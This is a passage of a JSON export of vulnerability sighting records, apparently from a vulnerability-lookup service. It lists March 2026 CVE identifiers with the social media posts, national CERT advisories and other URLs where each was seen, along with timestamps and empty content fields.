"2026-03-24T14:03:55.229252Z"}, {"uuid": "232a3d4d-50c2-4b02-80cd-49df44573dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31944", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhb52kujjp2l", "content": "", "creation_timestamp": "2026-03-17T14:00:13.545501Z"}, {"uuid": "21b62580-5934-4c81-962e-23ce08895d54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31834", "type": "seen", "source": "https://gist.github.com/alon710/795c8bcaebe4db185c8f673cfc6fa748", "content": "", "creation_timestamp": "2026-03-12T11:10:06.000000Z"}, {"uuid": "667e06a0-910c-46d3-a949-6694863bb45d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31933", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0309/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "b35b9566-84b8-43f8-856d-0bb305dbc2f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31788", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhsr5x7ekp22", "content": "", "creation_timestamp": "2026-03-24T14:15:17.369551Z"}, {"uuid": "a6eb688a-2191-42f9-b8ab-859e59c3043f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31935", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0309/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "f447d270-0640-44ce-a0c2-6774200c27e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3108", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhycja6nam2t", "content": "", "creation_timestamp": "2026-03-26T19:09:08.305221Z"}, {"uuid": "30387ea5-e384-45dc-b496-0d4bd30f38c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31833", "type": "seen", "source": "https://gist.github.com/alon710/ac739fc815a71a1bbc17c69f0d2579f2", "content": "", "creation_timestamp": "2026-03-12T11:40:06.000000Z"}, {"uuid": "9c6858f6-6a07-423f-9b1b-5530ed205574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31937", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0309/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "c6a7b847-28c9-4d92-b30b-b125d79d6d7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31972", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhgvjfgwfj2s", "content": "", "creation_timestamp": "2026-03-19T21:01:20.040933Z"}, {"uuid": "fd1c1dc9-7417-4d47-a8c1-962791c60515", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31938", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhe6bvhklw2i", "content": "", "creation_timestamp": "2026-03-18T19:00:12.407377Z"}, {"uuid": "246fa252-78cd-4718-a49b-3e0b1fbd73bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31862", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mhb63tqafu2w", "content": "", "creation_timestamp": "2026-03-17T14:18:50.513777Z"}, {"uuid": "be736f68-7a27-4ae7-9492-adb6cb6ef855", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31812", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mhipc76zq22h", "content": "", "creation_timestamp": "2026-03-20T14:15:19.340095Z"}, {"uuid": "a4fc5c88-bccc-4dac-b5a0-557a9db5acbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31932", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0309/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "06fa9b6d-b251-4556-a166-2ebad135b423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3190", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhyfre7bhx22", "content": "", "creation_timestamp": "2026-03-26T20:07:22.253335Z"}, {"uuid": "f130758d-a1fa-49ec-9f6c-8f28be9771b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31812", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mhiuhein6s2h", "content": "", "creation_timestamp": "2026-03-20T15:47:40.965586Z"}, {"uuid": "3804af3d-17a7-4a99-9a6e-136216eef20e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31788", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhvdjdpcso2i", "content": "", "creation_timestamp": "2026-03-25T14:49:06.947940Z"}, {"uuid": "9d781467-e06f-4e1d-8cba-746c6952450f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31892", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-31892", "content": "", "creation_timestamp": "2026-03-11T15:16:44.000000Z"}, {"uuid": "10197079-9810-41db-b3d2-dfe887fe7797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3121", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhyfzxxcfd2d", "content": "", "creation_timestamp": "2026-03-26T20:12:11.158998Z"}, {"uuid": "3997f997-4b3b-4c7d-81c7-f48763d8ad2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31979", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-31979", "content": "", "creation_timestamp": "2026-03-11T19:16:17.000000Z"}, {"uuid": "9d26ff82-1eb2-4205-bda9-8b5ef93ebe10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31816", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-31816.yaml", "content": "", "creation_timestamp": "2026-03-25T08:37:53.000000Z"}, {"uuid": "3c348072-62f6-48fd-9d7e-097e1c2f82fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31381", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhivaleean2u", "content": "", "creation_timestamp": "2026-03-20T16:01:43.132962Z"}, {"uuid": "63d35997-8180-4f35-a22d-75cab1b414bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31386", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mhc2gm4muk2h", "content": "", "creation_timestamp": "2026-03-17T22:46:00.298327Z"}, {"uuid": "5de02e9a-7012-4997-a378-5ac0ce5a2751", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31386", "type": "seen", "source": "https://jvn.jp/en/jp/JVN22152812/", "content": "", "creation_timestamp": "2026-03-16T03:00:00.000000Z"}, {"uuid": "40bb2d22-ae97-450a-a48e-090ceadf3837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31882", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mheg44u7dn2a", "content": "", "creation_timestamp": "2026-03-18T21:20:08.587873Z"}, {"uuid": "7d2e3d27-d1bc-4dda-b361-4185aa3ce2b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3136", "type": "seen", "source": "https://bsky.app/profile/gcpweekly.bsky.social/post/3mhegd2b4ms24", "content": "", "creation_timestamp": "2026-03-18T21:24:01.150933Z"}, {"uuid": "f1e358f8-49f3-4304-87f7-729dc80106fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3104", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhvhbpmobd2v", "content": "", "creation_timestamp": "2026-03-25T15:56:25.723723Z"}, {"uuid": "e237768e-8a2a-4f6c-a998-b20975da5ae3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31382", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhivr7fiin2o", "content": "", "creation_timestamp": "2026-03-20T16:11:01.134920Z"}, {"uuid": "e878a7e1-49c4-4b45-a332-498076ab941e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3119", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhvhbpmobd2v", "content": "", "creation_timestamp": "2026-03-25T15:56:25.798325Z"}, {"uuid": "5a1f27b6-97df-4145-baf7-980066934276", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31900", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mhcb4wx6he2r", "content": "", "creation_timestamp": "2026-03-18T00:45:47.832702Z"}, {"uuid": "4b12e09c-53bb-4b7d-9782-01f0f4769f86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31816", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mhyiuvjekf2i", "content": "", "creation_timestamp": "2026-03-26T21:03:06.251037Z"}, {"uuid": "f4e0350f-84e9-4a33-8fb6-8695444a1cd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31834", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mheh7vncje22", "content": "", "creation_timestamp": "2026-03-18T21:40:09.780254Z"}, {"uuid": "3f7b35af-9a59-4687-836d-3a2116e02016", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31874", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhiyj72xjw22", "content": "", "creation_timestamp": "2026-03-20T17:00:13.456097Z"}, {"uuid": "7080a93c-1244-48b4-bb2c-f88b42b0129a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31854", "type": "seen", "source": "https://bsky.app/profile/secqube.com/post/3mhu2o7ju5c2z", "content": "", "creation_timestamp": "2026-03-25T02:38:06.765087Z"}, {"uuid": "5aee8cca-fbe4-4830-8046-3ac94b550c5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31970", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhej6jib5d2r", "content": "", "creation_timestamp": "2026-03-18T22:15:10.157581Z"}, {"uuid": "9755c648-079d-4c45-97da-3b328bbb5da2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31972", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhekw7lxrm2a", "content": "", "creation_timestamp": "2026-03-18T22:46:18.920072Z"}, {"uuid": "37dcf029-a1b1-4c0a-8ecf-11db727672e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "bdc2fb02-c627-4535-9027-9fe00c39b87c", "vulnerability": "cve-2026-31893", "type": "seen", "source": "https://tunnelblick.net/CVE-2026-31893.html", "content": "", "creation_timestamp": "2026-03-30T21:27:43.860133Z"}, {"uuid": "b99781d9-a4fb-4c76-a22f-874092427941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31973", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhele6wzhd2p", "content": "", "creation_timestamp": "2026-03-18T22:54:10.605717Z"}, {"uuid": "e971a284-4d7e-491e-8573-ca9a71235366", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3108", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhymxiazgq2d", "content": "", "creation_timestamp": "2026-03-26T22:16:04.545455Z"}, {"uuid": "5b2fe20f-9f57-426e-8fb1-57608bcceaf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31852", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhj3uisym32m", "content": "", "creation_timestamp": "2026-03-20T18:00:14.272175Z"}, {"uuid": "aa80773c-c05a-4233-b72c-8e4eb5a2b32c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31962", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mi4ykkuzbk2x", "content": "", "creation_timestamp": "2026-03-28T15:54:16.337247Z"}, {"uuid": "880cbde1-5676-4a08-b22b-fb80c5f842d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31938", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116248296001564766", "content": "", "creation_timestamp": "2026-03-18T04:30:28.244164Z"}, {"uuid": "5888535c-668d-41dd-b31b-1d7210d15191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31938", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhcnoq7u7y22", "content": "", "creation_timestamp": "2026-03-18T04:30:30.640924Z"}, {"uuid": "a8ab1c43-5342-48e0-a689-b123fa99007a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31992", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhi7wbqiqx2m", "content": "", "creation_timestamp": "2026-03-20T09:40:21.121406Z"}, {"uuid": "b0a93bb8-a11e-4ced-80d6-b0d3892fd788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31801", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mheumzpb7t2u", "content": "", "creation_timestamp": "2026-03-19T01:40:08.865211Z"}, {"uuid": "3df1cf4a-be62-482b-a256-7b010ded0796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31970", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-31970", "content": "", "creation_timestamp": "2026-03-18T19:16:21.000000Z"}, {"uuid": "f26aa82c-c527-4bc6-a7af-60bc41309333", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31898", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhjadfywye2m", "content": "", "creation_timestamp": "2026-03-20T19:20:09.741222Z"}, {"uuid": "3777045d-d1f9-43ab-88dd-9abf25406d09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31969", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-31969", "content": "", "creation_timestamp": "2026-03-18T19:16:21.000000Z"}, {"uuid": "dfdb4766-eb89-4a7f-beab-27ad2c5fd74f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31891", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhjbh6a3dt2e", "content": "", "creation_timestamp": "2026-03-20T19:40:10.049499Z"}, {"uuid": "d6fd9c13-1777-46d1-b26c-e7925377546e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31967", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-31967", "content": "", "creation_timestamp": "2026-03-18T19:16:21.000000Z"}, {"uuid": "449f3eee-a028-4921-b6f1-55ec01012d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31966", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-31966", "content": "", "creation_timestamp": "2026-03-18T19:16:21.000000Z"}, {"uuid": "29cbdb52-d6b0-4d61-8a3c-c7fa61ddac51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31968", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-31968", "content": "", "creation_timestamp": "2026-03-18T19:16:21.000000Z"}, {"uuid": "00867221-5625-4db9-af7d-577d99a139bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31971", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-31971", "content": "", "creation_timestamp": "2026-03-18T19:16:22.000000Z"}, {"uuid": "be0a835d-eda8-4f22-b28b-92ec0402dfa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31945", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mi2zalmt472h", "content": "", "creation_timestamp": "2026-03-27T21:01:14.209929Z"}, {"uuid": "9e1946c5-f226-434d-ad05-9f6fb9b7d72d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31973", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhgyndnh7n2t", "content": "", "creation_timestamp": "2026-03-19T21:57:13.882533Z"}, {"uuid": "94bda304-6885-4647-8b0a-6b765e97e859", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31971", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhgynklxyg2v", "content": "", "creation_timestamp": "2026-03-19T21:57:21.046925Z"}, {"uuid": "1497e9fd-cb0c-48fa-b099-a3f528b48e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31966", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhgynrgeln2t", "content": "", "creation_timestamp": "2026-03-19T21:57:28.170182Z"}, {"uuid": "86e65c8b-7f1f-406e-a67e-8fd4ee4756a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31943", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mi2zaywyuj25", "content": "", "creation_timestamp": "2026-03-27T21:01:27.978220Z"}, {"uuid": "8a8965da-e62e-4f27-a68b-df0ce2e755db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31967", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhgypr2pp32c", "content": "", "creation_timestamp": "2026-03-19T21:58:34.908365Z"}, {"uuid": "8b6ef9c5-3bb6-4ddb-9c4b-112d53d39e69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31968", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhgypxws6x2h", "content": "", "creation_timestamp": "2026-03-19T21:58:42.217310Z"}, {"uuid": "1fb55818-5196-41d3-9eef-2464c932d076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31969", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhgyq6krhy25", "content": "", "creation_timestamp": "2026-03-19T21:58:48.969006Z"}, {"uuid": "20662d8e-622e-404e-8cba-f607e34fcfea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31836", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhjdqdogno2d", "content": "", "creation_timestamp": "2026-03-20T20:21:05.374668Z"}, {"uuid": "5214158e-15c6-4a3a-a6de-7bda7d6d1b47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31945", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mi2zd3twpt2t", "content": "", "creation_timestamp": "2026-03-27T21:02:40.251285Z"}, {"uuid": "f621e7cd-a531-4330-a8e2-ab9489a319b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31970", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhgytimd7y25", "content": "", "creation_timestamp": "2026-03-19T22:00:40.587815Z"}, {"uuid": "a7c684ec-bcbc-4614-88f7-62c6cb9582dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31963", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhgytpcqwk2f", "content": "", "creation_timestamp": "2026-03-19T22:00:47.176708Z"}, {"uuid": "0ff8a0ec-981e-43d2-9dfe-dc5cdb285cb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31964", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhgytw2tlq25", "content": "", "creation_timestamp": "2026-03-19T22:00:54.613122Z"}, {"uuid": "195bd8b3-83f3-4678-a15e-04ffc8e3130b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31938", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-31938", "content": "", "creation_timestamp": "2026-03-18T03:17:23.000000Z"}, {"uuid": "d56ce4f0-3a1f-4f7f-bc52-8c40ea788613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31943", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mi34lfrdrc2s", "content": "", "creation_timestamp": "2026-03-27T22:00:58.434543Z"}, {"uuid": "07918989-f926-4853-9e3f-62774338e4c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31943", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mi34mlbq2b25", "content": "", "creation_timestamp": "2026-03-27T22:01:37.755347Z"}, {"uuid": "269edd70-8be9-4550-a52b-1c05f5b22474", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31866", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhjgzxxm732l", "content": "", "creation_timestamp": "2026-03-20T21:20:09.194375Z"}, {"uuid": "b2b4e567-0de6-4cfc-8396-4552f900b19b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31943", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mi34ndybxc2j", "content": "", "creation_timestamp": "2026-03-27T22:02:03.750191Z"}, {"uuid": "07dffc5d-a7e5-46b3-bc94-94113eb4cf54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3108", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3micsfr32pf2v", "content": "", "creation_timestamp": "2026-03-30T23:20:09.175158Z"}, {"uuid": "9d2e1517-8ada-4263-9451-284bb5b29250", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31381", "type": "seen", "source": "https://bsky.app/profile/hapenez.bsky.social/post/3mhjhr5maiq2z", "content": "", "creation_timestamp": "2026-03-20T21:33:07.135129Z"}, {"uuid": "aedfaced-f8fb-4f40-8caf-6e28b62d5219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31382", "type": "seen", "source": 